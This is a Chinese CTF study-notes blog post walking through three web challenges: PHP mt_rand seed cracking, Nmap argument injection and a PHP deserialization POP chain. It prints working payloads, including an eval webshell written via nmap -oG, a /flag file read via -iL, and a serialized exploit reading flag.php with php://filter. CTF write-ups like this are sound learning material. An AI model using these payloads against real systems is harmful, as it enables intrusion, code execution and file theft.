近日学习笔记~8.8

发布于 2020-08-08  4189 次阅读


[GWCTF 2019]枯燥的抽奖

访问check.php找到源码:

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

这里使用了php的伪随机数,由于伪随机数存在可预测性,只需要找到mt_srand()所用的种子即可。这里使用到了php_mt_seed(https://www.openwall.com/php_mt_seed/)

根据提供的前几位,将其处理为php_mt_seed可以识别的格式:

php_mt_seed expects 1, 2, 4, or more numbers on its command line. The numbers specify constraints on mt_rand() outputs.

When invoked with only 1 number, that's the first mt_rand() output to find seeds for.

When invoked with 2 numbers, those are the bounds (minimum and maximum, in that order) that the first mt_rand() output should fall within.

When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().

When invoked with 5 or more numbers, each group of 4 and then the last group of 1, 2, or (usually) 4 are processed as above, where each group refers to a corresponding mt_rand() output.

这里使用了官方wp中的脚本来处理:

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='uszkTtBiKf'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

之后放入php_mt_seed来爆破随机数种子:

./php_mt_seed 20 20 0 61 18 18 0 61 25 25 0 61 10 10 0 61 55 55 0 61 19 19 0 61 37 37 0 61 8 8 0 61 46 46 0 61 5 5 0 61 
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 401.5 Mseeds/s 
Version: 5.2.1+
Found 0, trying 0x22000000 - 0x23ffffff, speed 31.9 Mseeds/s 
seed = 0x23e10ad1 = 601950929 (PHP 7.1.0+)
Found 1, trying 0x3e000000 - 0x3fffffff, speed 30.1 Mseeds/s

种子为601950929,放入php中用题目的源码跑一遍:

<?php
mt_srand(601950929);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 20);
echo "<p id='p1'>".$str_show."</p>";

[网鼎杯 2020 朱雀组]Nmap

网页可以进行一些基本的nmap操作,猜测可能是直接拼接nmap命令。

简单fuzz一下,发现php关键字被ban掉了,这里可以使用php短标签<?=来绕过

获取flag主要有两种方法,一种是上传一个shell,通过phtml来绕过对php后缀的控制,一种是直接利用nmap读取/flag文件,两种方法都要使用nmap的-oG/-oN标签来实现文件写入,通过两个单引号来闭合原有的引号。

方法一: ' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

方法二: ' -iL /flag -oN hack.txt ' //-iL可以实现文件的读取

[MRCTF2020]Ezpop

https://www.cnblogs.com/BOHB-yunying/p/12583725.html

一个比较典型的反序列化题:

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

一通分析之后发现最后是要靠include+php filter来完成flag文件的读取的,因此可以反向来构造一下pop链,有一个和去年百越杯很像的地方就是通过preg_match来访问的对象都会被当成字符串来处理,因此会触发__toString()

这里的exp是直接使用的引用链接中的:

<?php
class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str=new Test();
        $this->str->p=new Modifier();

    }
}
class Test{
    public $p;
}
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';

}
$a=new Show();
$a->source=new Show();
echo serialize($a);

poc链是:


Show->preg_match->__toString()->Test->_get->Modifier->__invoke->append()

需要注意的是,由于这里出现了private和protected对象,因此会产生\0字符,在粘贴到浏览器的时候,会变成%20,无法正常运行,因此要手动把%20改成%00


等风来,不如追风去。